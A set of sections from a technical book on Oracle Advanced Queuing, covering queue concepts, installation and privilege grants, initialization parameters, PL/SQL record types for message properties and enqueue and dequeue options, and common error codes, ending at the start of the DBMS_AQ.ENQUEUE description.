An agent is a user of a queue. There are two types of agents: producers, who place messages in a queue (enqueuing); and consumers, who retrieve messages (dequeuing). Any number of producers and consumers may be accessing the queue at a given time. An agent's name, address, and protocol identify that agent. The address field is a character field of up to 1024 bytes that is interpreted according to the protocol value (of which the only supported value is currently 0). A protocol of 0 indicates that the address is to be interpreted as a database link. The address will therefore have this form,

    queue_name@dblink

where queue_name has the form [schema.]queue and dblink is either a fully-qualified database link name or a database link name that does not incorporate the domain name.

Agents insert messages into a queue and retrieve messages from the queue by using the Oracle AQ operational interfaces offered in the DBMS_AQ package.

Recipient list

A list of one or more agents that you can construct to receive a message (through the dequeue operation). With Oracle 8.0.4., a recipient can be either an agent or a queue.

Producer

An agent that places messages in a queue with the enqueue operation.

Consumer

An agent that retrieves messages from a queue with the dequeue operation. Note that you can modify the characteristics of your dequeue operation so that the agent does not actually consume (i.e., read and then remove from the queue) its message.

Message ID

The unique handle for a message. This value is generated by AQ. You can use it to retrieve a specific message from a queue (bypassing the default order of dequeuing associated with the queue and/or queue table). You can also use this message ID to find out about the status of a message from the underlying data dictionary views. These message IDs are long, complex values like "105E7A2EBFF11348E03400400B40F149."

Message group

One or more messages can be joined together logically as a group. You do this by specifying a queue table as supporting message grouping. All messages queued in a single transaction must then be dequeued as a group for that set of messages to be considered completely dequeued.

Queue Monitor

The Queue Monitor is an optional background process that monitors the status of messages in your queues. Use the Queue Monitor when you want to set expiration and delay intervals for messages.

Lots of concepts, lots of terminology. Let's see if we can obtain some additional clarity from the following figures.

Figure 5.3 illustrates how you create one or more queues within a queue table. Each queue can have one or more messages. Messages in different queues do not have any relation to each other. Each queue table has a single default exception queue, which contains messages that have expired or have otherwise failed to dequeue successfully

Figure 5.4 shows that producer agents place messages in a queue and consumer agents remove messages from a queue. The same Oracle process can be both a producer and a consumer; more commonly, you will use Oracle AQ to allow multiple Oracle connections to enqueue and dequeue messages. Some points to keep in mind:

  • Messages do not have to be dequeued in the same order in which they were enqueued.

  • Messages can be enqueued but never dequeued.

Figure 5.3: Multiple queues in a single queue table

Figure 5.4: Producers enqueue, consumers dequeue

Figure 5.5 illustrates the "broadcast" feature of Oracle AQ. You can define a queue table to support "multiple consumers." In this configuration, a single message can be consumed by more than one agent, either through the default subscription list or with an override recipient list. Under this scenario, a message remains in the queue until it is consumed by all of its intended consumer agents.

When you set up a subscriber list for a queue, you are establishing that list of agents as the default set of agents to be able to dequeue messages from the queue. You can change this list at any time, but the change will affect only those messages enqueued after the change is made. The subscription list is, in other words, associated with a message at the time of the enqueue operation, not with the dequeue operation.

You will use the recipient list to override the subscription list for dequeuing. Under this scenario, at the time the message is enqueued, you specify a list of agents to which the message may be dequeued. The default list of subscribers for the queue is then ignored for dequeue operations on this message.

Figure 5.5: Multiple consumers of the same message

5.1.6 Components of Oracle AQ

Oracle AQ is composed of a number of different elements, not just a single built-in package. These elements follow:

The DBMS_AQADM package

An interface to the administrative tasks of Oracle AQ, such as creating and dropping queues and queue tables. This package and the programs it supports, are described in later sections.

The DBMS_AQ package

The package that offers access to the enqueue and dequeue operations (the "operational tasks") of Oracle AQ. This package, and the programs it supports are described in later sections.

The Queue Monitor

A background process that can be used to delay and expire messages for dequeuing (described in the Section 5.1.7, "Queue Monitor"" section following).

Data dictionary views

A set of views against the underlying AQ tables that allows users of AQ to view the results of administrative and operational tasks (described in the Section 5.1.8, "Data Dictionary Views"" section following).

5.1.7 Queue Monitor

The Queue Monitor is an Oracle process that runs in the background and monitors the status of messages in your queues. It is optional and is present only when you set the appropriate database initialization parameter, or you call the DBMS_AQADM.START_TIME_MANAGER procedure (see Section 5.2.2, "Database Initialization"," later in this chapter). You will need the Queue Monitor if you want to set expiration and delay intervals for messages.

5.1.8 Data Dictionary Views

Oracle AQ offers a set of data dictionary views that allows you to monitor the status of queuing operations. This section lists the different views. At the end of the chapter, you will find a section titled Section 5.6, "Oracle AQ Database Objects"," which offers more details on these views and other database objects created and used by Oracle AQ.

Queue table database table

The queue table in which message data is stored. This table is created automatically when you create a queue table. The name of this table is <queue_table>, where <queue_table> is the name of the queue table you specified.

Queue table view

A view of the queue table in which message data is stored. This view is created automatically when you create a queue table. The name of this view is aq$<queue_table>, where <queue_table> is the name of the queue table you specified.

DBA_QUEUE_TABLES

This view describes the names and types of all queue tables created in the database. To see this view, you must have the DBA authority or the SELECT ANY TABLE privilege.

USER_QUEUE_TABLES

This view describes the names and types of all queue tables created in your schema. It has the same structure as DBA_QUEUE_TABLES, except that it does not have an OWNER column.

DBA_QUEUES

This view displays all operational characteristics for every queue in a database. Operational characteristics include whether the queue is enabled for queuing, the number of retries allowed for a dequeue operation, and so on. To see this view, you must have DBA authority or the SELECT ANY TABLE privilege.

USER_QUEUES

This view displays all operational characteristics for every queue in your schema. It has the same structure as DBA_QUEUES, except that it does not have an OWNER column.

Previous: 4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements | Oracle Built-in Packages | Next: 5.2 Getting Started with Oracle AQ
4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements | Book Index | 5.2 Getting Started with Oracle AQ
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.2 Getting Started with Oracle AQ

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

5.2 Getting Started with Oracle AQ

There are five basic steps involved in using Oracle AQ:

  1. Install Oracle AQ for use in your database. For this, the underlying database objects must be created and the initialization file for the instance modified.

  2. Authorize administrative and operational privileges on queues.

  3. Set up the message queue tables and corresponding queues.

  4. Enqueue messages to a queue.

  5. Dequeue messages from a queue.

In many organizations, steps 1 through 3 will be performed by a database administrator. They require specific authorization and can be a complex process, depending on the type of queues you want to create. The fourth and fifth steps will be performed from within the PL/SQL programs that you have written to take advantage of this message queuing technology.

Steps 3, 4, and 5 are explained in detail later in this chapter. For now, let's take a look at the steps you must take to install AQ and to grant the proper privileges to Oracle accounts in order to perform AQ activities.

5.2.1 Installing the Oracle AQ Facility

Oracle Corporation has established the following guidelines for use of Oracle AQ:

  • If you have a license to the Oracle8 Enterprise Edition with the Objects Option, then you will be able to take advantage of the full functionality of Oracle AQ.

  • If you have a license to the Oracle8 Enterprise Edition without the Objects option, then you will be able to use Oracle AQ with queues of type RAW only.

  • If you have a license to Oracle8 without the Enterprise Edition, you are not licensed to use Oracle AQ at all.

The DBMS_AQ and DBMS_AQADM packages (and the database object used by them) are created when the Oracle database is installed. You should not have to take any special steps to install Oracle AQ and make it available in your environment. (You will, as covered in a later section, need to grant access to Oracle AQ to specific users.)

Before you can execute any programs in the DBMS_AQADM or DBMS_AQ packages, you may need to grant EXECUTE privilege on those packages explicitly (role-based privileges do not take effect inside stored code). If you have trouble executing any program in these packages, connect to the SYS account and execute these commands,

GRANT EXECUTE ON DBMS_AQADM TO <user>;
GRANT EXECUTE ON DBMS_AQ TO <user>;

where <user> is the name of the account to which you want to grant EXECUTE privilege.

5.2.2 Database Initialization

You will need to set one or more initialization parameters in order to obtain the desired behavior from Oracle AQ.

5.2.2.1 Starting the Queue Monitor

One of the features of Oracle AQ is the ability to manage the time in which messages are available for dequeueing and the time after which messages are "expired." If you want to employ this "time management" feature, you need to add a parameter to your initialization file or INIT.ORA file for your database instance. The name of this parameter is AQ_TM_PROCESSES, and it can be assigned a nonzero integer value. If the parameter is set to any number between 1 and 10, that number of Queue Monitor background processes will be created to monitor messages in the various queues.

The name of the process created is,

ora_aqtm_<oracle_SID>

where oracle_SID is the System ID for the database instance being started. If the parameter is not specified or is set to 0, then the Queue Monitor background process will not be created.

Here is an example of a line in the INIT.ORA file that specifies that one Queue Monitor process be created:

AQ_TM_PROCESSES = 1

If the Queue Monitor process it not started, you will not be able to start and stop the Queue Monitor using the DBMS_AQADM.START_TIME_MANAGER and DBMS_AQADM.STOP_TIME_MANAGER procedures, respectively.

5.2.2.2 Starting propagation processes

Message propagation (an Oracle 8.0.4 AQ feature) is implemented by job queue processes. The number of these processes is defined with the JOB_QUEUE_PROCESSES parameter. The default value for this parameter is 0. If you want message propagation to take place, you must set this parameter to at least 1. If you plan to propagate messages from many queues in your instance or receive messages to many destination queues, you (or your DBA) should set this parameter to a higher value.

Here is an example of a setting of this parameter to three processes:

JOB_QUEUE_PROCESSES = 3

See Chapter 12, Managing Server Resources, for more information about DBMS_JOB and the setting of this parameter.

5.2.2.3 Setting Oracle AQ compatibility

If you want to use the Oracle AQ propagation feature, set your compatibility setting in the INIT.ORA file as follows:

COMPATIBLE = 8.0.4

This parameter will be checked under any of the following conditions:

  • If a call to the DBMS_AQADM.ADD_SUBSCRIBER procedure includes an agent (defined with the SYS.AQ$_AGENT object type) whose address field is non-NULL.

  • If an agent defined with the SYS.AQ$_AGENT object type whose address field is non-NULL is specified in the recipient list field of a message properties record in a call to the DBMS_AQ.ENQUEUE procedure.

  • If you call the DBMS_AQADM.SCHEDULE_PROPAGATION procedure.

You can also downgrade to 8.0.3 after you have used the Oracle 8.0.4 features by using the following command:

ALTER DATABASE RESET COMPATIBILITY

Users will not be able to restart the database in 8.0.3 compatibility mode under the following conditions:

  • If you have messages in queues that have not yet been propagated to their destination queues.

  • If there are propagation schedules still pending for execution. If this is the case, then you will probably need to run DBMS_AQADM.UNSCHEDULE_PROPAGATION to remove those schedules.

  • If you have queues with subscribers that specify remote destination (with a non-NULL address field in the agent). In this scenario, you will want to run DBMS_AQADM.REMOVE_SUBSCRIBER to remove the remote subscribers.

If you have been using Oracle AQ in Oracle 8.0.3 and are now upgrading to 8.0.4, check the online Oracle documentation for upgrade steps you must take.

5.2.3 Authorizing Accounts to Use Oracle AQ

When working with AQ, you will perform either administrative or operational activities. Administrative tasks include creating queue tables and queues, and starting and stopping queues. Operational tasks include different aspects of using existing queues (i.e., queuing messages to them and dequeuing messages from them). Access to these operations is granted to users through database roles. There are two such roles:

AQ_ADMINISTRATOR_ROLE

This role grants EXECUTE privileges for all programs in DBMS_AQ and DBMA_AQADM. The user SYS must grant this role to the account(s) defined to be AQ administrators.

AQ_USER_ROLE

This role grants EXECUTE privileges for all programs in DBMS_AQ. The AQ administrator (an account to which the AQ_ADMINISTRATOR_ROLE privilege has been previously granted) must grant this role to the account(s) defined to be AQ users.

NOTE: Administrator and user privileges are granted at the database level, and not on specific objects or within schemas. As a result, any Oracle account with the AQ_USER_ROLE can perform enqueue and dequeue operations on any queue in the database instance. Given this situation, how can you minimize the chance of messages being incorrectly queued or dequeued? You are always best off building a package around your AQ usage that hides the names of your queue tables and queues. See the Section 5.7, "Oracle AQ Examples"" section for many illustrations of this technique.

Here is an example of the steps you might perform from SQL*Plus to set up an AQ administrator:

SQL> CONNECT SYS/CHANGE_ON_INSTALL
SQL> GRANT AQ_ADMINISTRATOR_ROLE TO AQADMIN;

The AQADMIN account can now set up that old standby SCOTT as an AQ user account as follows:

SQL> CONNECT aqadmin/top_secret
SQL> GRANT AQ_USER_ROLE TO scott;

If you further wish to create and manipulate queue tables that are enabled for multiple dequeuing (in other words, queues that use subscriber lists to dequeue a message to multiple consumers), you must also execute the GRANT_TYPE_ACCESS procedure of the DBMS_AQADM package. The SYS account must do this for the AQ administrator account; that administrator can then do the same for AQ user accounts. Here are the steps:

1. Enable AQADMIN for multiple dequeues from SYS:

SQL> CONNECT SYS/CHANGE_ON_INSTALL
SQL> exec DBMS_AQADM.GRANT_TYPE_ACCESS ('aqadmin');

2. Enable SCOTT for multiple dequeues from AQADMIN:

SQL> CONNECT aqadmin/top_secret
SQL> exec DBMS_AQADM.GRANT_TYPE_ACCESS ('scott');

Now we have two accounts that are ready, willing, and able to do some queuing! These steps are also performed for you by the files aqadmset.sql (for AQ administrators) and aqfor.sql (for AQ users).

TIP: If you are running Oracle 8.0.3, you might encounter problems with this approach. Under this first production release of Oracle8, you should instead perform all grant operations from the SYS or SYSTEM accounts.

Previous: 5.1 Oracle AQ Concepts | Oracle Built-in Packages | Next: 5.3 Oracle AQ Nonprogram Elements
5.1 Oracle AQ Concepts | Book Index | 5.3 Oracle AQ Nonprogram Elements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.3 Oracle AQ Nonprogram Elements

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

5.3 Oracle AQ Nonprogram Elements

Oracle AQ defines a number of data structures, exceptions, and other nonprogram elements you'll use when creating and manipulating queues. In addition, there are several data structures you will create and pass to Oracle AQ programs. In many cases, you will find yourself creating and manipulating objects, index-by tables (formerly known as PL/SQL tables), and records. If you are not familiar with these programming constructs, you should review the appropriate chapters in the second edition of Oracle PL/SQL Programming.

5.3.1 Constants

Oracle AQ predefines a set of constants that you then use in various calls to procedures and functions. The following two lists break out these constants into those that are used for administrative tasks and those that figure into operational actions. In both cases, I intentionally do not show the values assigned to these constants. You should never hard-code those values into your code. Instead, always rely on the constants.

5.3.1.1 Administrative tasks

When you are performing administrative tasks in AQ (such as creating queue tables and queues), you may need to use one of the following constants:

Task | Constant
Specify the type of payload | DBMS_AQADM.OBJECT_TYPE_PAYLOAD DBMS_AQADM.RAW_TYPE
Enable or disable a queue for multiple consumers | DBMS_AQADM.SINGLE DBMS_AQADM.MULTIPLE
Request that messages on a queue never expire | DBMS_AQADM.INFINITE
Specify type of message grouping for a queue table | DBMS_AQADM.TRANSACTIONAL DBMS_AQADM.NONE
Specify type of queue | DBMS_AQADM.NORMAL_QUEUE DBMS_AQADM.EXCEPTION_QUEUE

5.3.1.2 Operational tasks

When you are enqueuing and dequeuing messages (the operational tasks in AQ), you may need to use one of the following constants:

Description | Constant
Specify visibility of the queue message | DBMS_AQ.IMMEDIATE DBMS_AQ.ON_COMMIT
Specify dequeuing mode | DBMS_AQ.BROWSE DBMS_AQ.LOCKED DBMS_AQ.REMOVE
Specify method of inter-message navigation | DBMS_AQ.FIRST_MESSAGE DBMS_AQ.NEXT_MESSAGE DBMS_AQ.NEXT_TRANSACTION
Specify state of the message | DBMS_AQ.WAITING DBMS_AQ.READY DBMS_AQ.PROCESSED DBMS_AQ.EXPIRED
Specify deviation from normal dequeuing sequence | DBMS_AQ.BEFORE DBMS_AQ.TOP
Specify amount of time to wait for a dequeue operation to succeed | DBMS_AQ.FOREVER DBMS_AQ.NO_WAIT
Specify amount of time to delay before making a message available for dequeuing | DBMS_AQ.NO_DELAY
Specify amount of time to elapse before a message expires | DBMS_AQ.NEVER

5.3.2 Object Names

You will specify the name of an Oracle AQ object (queue, queue table, or object type) in many different program calls. An AQ object name can be up to 24 characters long, and can be qualified by an optional schema name (also a maximum of 24 characters in length). If you do not specify a schema, then the current schema is used.

In the following block I create a RAW queue table for use with my own schema:

DECLARE
   v_queuetable VARCHAR2(24) := 'myqueue';
BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE (
      queue_table => v_queuetable,
      queue_payload_type => 'RAW');

But in the next call to the same built-in procedure, I create a queue table in another schema:

DECLARE
   v_queuetable VARCHAR2(49) := 'scott.myqueue';
BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE (
      queue_table => v_queuetable,
      queue_payload_type => 'RAW');

I specified 49 characters, since I needed room (potentially) for the period.

Now you know the rules for object names. However, you should never hard-code those rules into your programs as shown in the previous examples. What if Oracle decides to increase the allowable size for these names? Your programs will be stuck using the old limitations. Instead, you should define subtypes that you can then use to declare queue-related variables without any hard-coded restraints.

My aq package (aq.spp) demonstrates this technique. Here are the first few lines of that package's specification:

/* Filename on companion disk: aq.spp */*
CREATE OR REPLACE PACKAGE aq
IS
   v_msgid RAW(16);
   SUBTYPE msgid_type IS v_msgid%TYPE;

   v_name VARCHAR2(49);
   SUBTYPE name_type IS v_name%TYPE;

With the aq package defined in my schema, I would set up my raw queue table as follows:

DECLARE
   v_queuetable aq.name_type := 'myqueue';
BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE (
      queue_table => v_queuetable,
      queue_payload_type => 'RAW');

No more literal value in the datatype of my declaration!

5.3.3 Queue Type Names

When you specify the name of a queue type (also referred to as "payload type"), you provide either the name of an object type (previously defined in the database) or you specify the constant "RAW" (as shown in the previous section).

If you specify a payload type of RAW, AQ creates a queue table with a LOB column as the repository for any messages in its queues. The LOB value is limited to a maximum of 32K bytes of data. In addition, since LOB columns are used, the AQ administrator can specify the LOB tablespace and configure the LOB storage by providing a storage string in the storage_clause parameter in the call to the DBMS_AQADM.CREATE_QUEUE_TABLE procedure.

5.3.4 Agents Object Type

An agent is an object that produces or consumes a message. You will create agents in order to specify subscribers for queues and also to create recipient lists for the dissemination of messages. You define an agent as an instance of the following object type,

TYPE SYS.AQ$_AGENT IS OBJECT
  (name VARCHAR2(30),
   address VARCHAR2(1024),
   protocol NUMBER);

where the name is the name of the agent, and address is a character field of up to 1024 bytes that is interpreted according to the protocol value (of which the only supported value is currently 0). A protocol of 0 indicates that the address is to be interpreted as a database link. The address will therefore have this form: queue_name@dblink, where queue_name has the form [schema.]queue and dblink is either a fully qualified database link name or a database link name that does not incorporate the domain name.

Here is an example of defining an agent to be used with AQ:

DECLARE
   consumer_agent SYS.AQ$_AGENT;
BEGIN
   /* And now I use the constructor method to give
      a name to that object. */
   consumer_agent := SYS.AQ$_AGENT ('CLERK');

5.3.5 Recipient and Subscriber List Table Types

The subscriber and recipient lists are lists of agents, each of which is an instance of one of the following two index-by table types:

TYPE DBMS_AQ.AQ$_RECIPIENT_LIST_T IS TABLE OF SYS.AQ$_AGENT
   INDEX BY BINARY_INTEGER;

TYPE DBMS_AQADM.AQ$_SUBSCRIBER_LIST_T IS TABLE OF SYS.AQ$_AGENT
   INDEX BY BINARY_INTEGER;

The recipient list is used when enqueuing a message to establish a specific list of agents who can dequeue or consume a message. It is therefore defined in the DBMS_AQ package.

The subscriber list is used to enqueue a message to a list of subscribers for a given queue. You will call the DBMS_AQADM.QUEUE_SUBSCRIBERS function to obtain the subscript list for a queue. The subscripter list table type is therefore defined in the DBMS_AQADM package. As you can see, these table types are identical in structure; only their names differ.

The following block of code demonstrates the creation of a recipient list:

DECLARE
   recipients DBMS_AQ.AQ$_RECIPIENT _LIST_T;
BEGIN
   recipients(1) := SYS.AQ$_AGENT ('DBA');
   recipients(2) := SYS.AQ$_AGENT ('DESIGNER');
   recipients(3) := SYS.AQ$_AGENT ('DEVELOPER');

See the Section 5.7" section entitled Section 5.7.8, "Working with Multiple Consumers"" for a complete example of the creation of recipient lists and the association of those lists with a queued message.

5.3.6 Message Properties Record Type

When you enqueue a message, you can associate a set of properties with that message. You can then also receive these properties (or most of them) when you dequeue the message. You define the properties of a message by declaring and populating a PL/SQL record based on the following record type:

TYPE DBMS_AQ.MESSAGE_PROPERTIES_T IS RECORD
   (priority        BINARY_INTEGER DEFAULT 1,
    delay           BINARY_INTEGER DEFAULT DBMS_AQ.NO_DELAY,
    expiration      BINARY_INTEGER DEFAULT DBMS_AQ.NEVER,
    correlation     VARCHAR2(128) DEFAULT NULL,
    attempts        BINARY_INTEGER,
    recipient_list  DBMS_AQ.AQ$_RECIPIENT_LIST_T,
    exception_queue VARCHAR2(51) DEFAULT NULL,
    enqueue_time    DATE,
    state           BINARY_INTEGER);

Here is an explanation of the various fields of this record type:

priority

Specifies the priority of the message you are queueing. A smaller number indicates a higher priority. The priority can be any number, including negative numbers. The default is 1.

delay

Specifies the delay of the enqueued message. This value indicates the number of seconds after which a message becomes available for dequeuing. If you specify DBMS_AQ.NO_DELAY (the default), then the message is available for immediate dequeueing. A message enqueued with a delay set will be placed in the WAITING state. When the delay time expires, the message changes to the READY state. Delay processing requires that the Queue Monitor be started.

NOTE: Dequeuing by the message ID overrides the delay specification. In addition, the delay is set by the producer, who enqueues the message, not the consumer, who dequeues the message.

expiration

Specifies the time in seconds after which the message expires. This value determines the number of seconds a message will remain in the READY state, available for dequeuing. If you specify DBMS_AQ.NEVER, then the message will never expire (the default behavior). If the message is not dequeued before it expires, it will be moved to the exception queue in the EXPIRED state.

This parameter is an offset from the delay value specified (see earlier). Expiration processing requires that the Queue Monitor be running.

correlation

Specifies identification supplied by the producer for a message at enqueuing. This is a free-form text field. Place whatever value you would like to use to later identify this message for dequeuing.

attempts

Specifies the number of attempts that have been made to dequeue this message. This parameter cannot be set at enqueue time. Instead, it is maintained automatically by AQ and is available when you have dequeued the message.

recipient_list

A table containing a list of agents. This parameter is valid only for queues that allow multiple consumers. If you do not specify a recipient list, then the default recipients of this message are the agents identified as subscribers to the queue (with a call to DBMS_AQADM.ADD_SUBSCRIBER). This parameter is not returned to a consumer at dequeue time.

exception_queue

Specifies the name of the queue to which the message is moved if it cannot be processed successfully. You specify this value at enqueue time.

Messages are moved in two cases: the number of unsuccessful dequeue attempts has exceeded the maximum number of retries, or the message has expired. All messages in the exception queue are set to the EXPIRED state. If you do not specify an exception queue, the exception queue associated with the queue table is used. If the exception queue specified does not exist at the time of the move, the message will be moved to the default exception queue associated with the queue table. A warning will then be logged in the Oracle alert file. If the default exception queue is used, the parameter will return a NULL value at dequeue time.

You will find an example of using a non-default exception queue in the Section 5.7" section entitled Section 5.7.6, "Using Time Delay and Expiration"."

enqueue_time

Specifies the time the message was enqueued. This value is determined by the system and cannot be set by the user. This parameter cannot be set at enqueue time. It is available only when the message is dequeued.

state

Specifies the state of the message at the time of the dequeue. This parameter cannot be set at enqueue time. Instead, this state is maintained automatically by AQ and can be one of the following values:

DBMS_AQ.WAITING

The message delay has not yet been reached (value = 1).

DBMS_AQ.READY

The message is ready to be processed (value = 0).

DBMS_AQ.PROCESSED

The message has been processed and is retained (value = 3).

DBMS_AQ.EXPIRED

The message has been moved to the exception queue (value = 4).

The following block of code demonstrates how to define a message properties record and set several of the fields:

DECLARE
   msgprop DBMS_AQ.MESSAGE_PROPERTIES_T;
BEGIN
   msgprop.priority := -100; /* high priority */
   msgprop.delay := 60*60*24 /* delay for one day */
   msgprop.expiration := 60*60; /* expire one hour after delay */

5.3.7 Enqueue Options Record Type

When you enqueue a message, you can specify the options you want associated with that message. You do this by declaring and populating a record based on the following record type:

TYPE DBMS_AQ.ENQUEUE_OPTIONS_T IS RECORD
   (visibility          BINARY_INTEGER DEFAULT DBMS_AQ.ON_COMMIT,
    relative_msgid      RAW(16) DEFAULT NULL,
    sequence_deviation  BINARY_INTEGER DEFAULT NULL);

Fields have the following meanings:

visibility

Specifies the transactional behavior of the enqueue request. There are two possible values:

DBMS_AQ.ON_COMMIT

The enqueue is treated as part of the current transaction. The enqueue operation completes only when the transaction commits. This is the default case.

DBMS_AQ.IMMEDIATE

The enqueue is not treated as part of the current transaction. Instead, the enqueue operation acts as its own transaction. The queued message is then immediately available for dequeuing by other Oracle sessions.

relative_msgid

Specifies the message identifier of the message referenced in the sequence deviation operation. This field is valid if, and only if, BEFORE is specified in the sequence_deviation field (see the next field description). This parameter will be ignored if sequence deviation is not specified (i.e., if the default of NULL is used for the sequence_deviation field).

sequence_deviation

Specifies whether the message being enqueued should be dequeued before other message(s) already in the queue. There are three valid options:

DBMS_AQ.BEFORE

The message is enqueued ahead of the message specified by relative_msgid.

DBMS_AQ.TOP

The message is enqueued ahead of any other messages.

NULL

The default value, specifying that there is no deviation from the normal sequence for dequeueing.

The following block of code sets up the enqueue properties such that the queued message goes to the top of the queue and is made immediately visible to other sessions:

DECLARE
   queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
BEGIN
   queueopts.visibility := DBMS_AQ.IMMEDIATE;
   queueopts.sequence_deviation := DBMS_AQ.TOP;

5.3.8 Dequeue Options Record Type

When you dequeue a message, you can specify the options you want associated with that message by declaring and populating a record based on the following record type:

TYPE DBMS_AQ.DEQUEUE_OPTIONS_T IS RECORD
   (consumer_name  VARCHAR2(30) DEFAULT NULL,
    dequeue_mode   BINARY_INTEGER DEFAULT DBMS_AQ.REMOVE,
    navigation     BINARY_INTEGER DEFAULT DBMS_AQ.NEXT_MESSAGE,
    visibility     BINARY_INTEGER DEFAULT DBMS_AQ.ON_COMMIT,
    wait           BINARY_INTEGER DEFAULT DBMS_AQ.FOREVER
    msgid          RAW(16) DEFAULT NULL,
    correlation    VARCHAR2(128) DEFAULT NULL);

Fields have the following meanings:

consumer_name

Specifies the name of the consumer of this message. Only those messages matching the consumer name are accessed. If a queue is not set up for multiple consumers (either subscribers to the queue as a whole or the recipient list specified at the time of queuing), this field should be set to NULL (the default).

dequeue_mode

Specifies the locking behavior associated with the dequeue operation. These are the valid options:

DBMS_AQ.BROWSE

Read the message without acquiring any lock on the message. This is equivalent to a query: "readers never block writers or readers."

DBMS_AQ.LOCKED

Read and obtain a write lock on the message. The lock lasts for the duration of the transaction. This is equivalent to a SELECT FOR UPDATE statement.

DBMS_AQ.REMOVE

Read the message and update or delete it. This is the default behavior. When you read from the queue, the message is removed from the queue. Note that the message can be retained in the queue table based on its retention properties.

navigation

Specifies the position of the message that will be retrieved next. When you perform a dequeue, the following steps are taken: (a) the position in the queue is determined; (b) the search criterion specified by this and other fields is applied; and (c) the appropriate message is retrieved. These are the valid options for this field:

DBMS_AQ.NEXT_MESSAGE

Retrieve the next message that is available and matches all the search criteria. If the previous message belongs to a message group, AQ will retrieve the next available message that matches the search criteria and belongs to the message group. This is the default behavior.

DBMS_AQ.NEXT_TRANSACTION

Skip the remainder of the current transaction group (if any) and retrieve the first message of the next transaction group. This option can be used only if message grouping is enabled for the current queue.

DBMS_AQ.FIRST_MESSAGE

Retrieve the first message that is available and matches the search criteria. This will reset the current position to the beginning of the queue.

visibility

Specifies whether the new message is dequeued as part of the current transaction. This parameter is ignored when you have specified the BROWSE mode to read the queue. The following options are valid:

DBMS_AQ.ON_COMMIT

The dequeue is treated as part of the current transaction. The dequeue operation completes only when the transaction commits. This is the default case.

DBMS_AQ.IMMEDIATE

The dequeue is not treated as part of the current transaction. Instead, the dequeue operation acts as its own transaction. The queued message is then immediately available for dequeuing by other Oracle sessions.

wait

Specifies the number of seconds to wait if there is currently no message available matching the search criteria. If the queue table for this queue specified message grouping, then this value is applied only after the last message in a group has been dequeued. You can specify a number of seconds or one of the following named constants:

DBMS_AQ.FOREVER

Wait forever. This is the default.

DBMS_AQ.NO_WAIT

Do not wait at all. If there is no matching message, then return to the calling program immediately.

msgid

Specifies the message identifier of the message to be dequeued. If you specify the message ID, then you can bypass other criteria establishing the next message for dequeuing.

correlation

Specifies the correlation identifier of the message to be dequeued. If you provided a correlation string when you enqueued this message, that string will be used as part of the criteria to establish the next message. You can perform pattern matching by including the percent sign (%) or the underscore ( _ ) in your correlation identifier. These characters follow the standard SQL wildcard rules. If more than one message matches the pattern, the order of dequeuing is not determined.

5.3.9 Oracle AQ Exceptions

There are no named exceptions defined in either of the AQ packages. Instead, Oracle has set aside error messages for Oracle AQ in the following ranges:

-24099 through -24000
-25299 through -25200

Here are some of the more common exceptions you will encounter:

ORA-24010: QUEUE <queue> does not exist

You have tried to perform an operation on a queue that does not yet exist.

ORA-24001: cannot create QUEUE_TABLE, <queue_table> already exists

You have tried to create a queue table, but there is already one by that name.

ORA-24011: cannot drop QUEUE, <queue> should be stopped first

You have tried to drop a queue that has not been stopped.

ORA-24012: cannot drop QUEUE_TABLE, some queues in <queue_table> have not been dropped

You must stop and drop all queues in a queue table before the queue table itself can be dropped.

ORA-24034: application <agent_name> is already a subscriber for queue <queue>

You tried to add an agent to a subscriber list that is already present. Note that agent names are not case-sensitive.

ORA-25215: user_data type and queue type do not match

The object type specified in an enqueue operation does not match the object type used to define the queue table.

ORA-25228: timeout in dequeue from <queue> while waiting for a message

This error usually occurs when you try to dequeue a message from an empty queue.

ORA-25235: fetched all messages in current transaction

You have dequeued the last message in the current message group. You must now specify NEXT_TRANSACTION navigation in order to start dequeuing messages from the next available group.

ORA-25237: navigation option used out of sequence

The NEXT_MESSAGE or NEXT_TRANSACTION option was specified after dequeuing all the messages. You must reset the dequeuing position using the FIRST_MESSAGE navigation option and then specify the NEXT_MESSAGE or NEXT_TRANSACTION option.

Previous: 5.2 Getting Started with Oracle AQ | Oracle Built-in Packages | Next: 5.4 DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
5.2 Getting Started with Oracle AQ | Book Index | 5.4 DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.4 DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

5.4 DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)

The DBMS_AQ package provides an interface to the operational tasks of Oracle AQ as performed by the programs listed in Table 5.1. To use these programs, you must have been granted the new role AQ_USER_ROLE.

Table 5.1: DBMS_AQ Programs
Name | Description | SQL?
ENQUEUE | Adds a message to the specified queue. | No
DEQUEUE | Retrieves a message from the specified queue. | No

The following sections describe how to call these programs.

5.4.1 Enqueuing Messages

The ENQUEUE procedure allows you to add a message to a specified queue.

5.4.1.1 The DBMS_AQ.ENQUEUE procedure

Use the ENQUEUE procedure to add a message to a particular queue. Here's the header for the procedure:

PROCEDURE DBMS_AQ.ENQUEUE
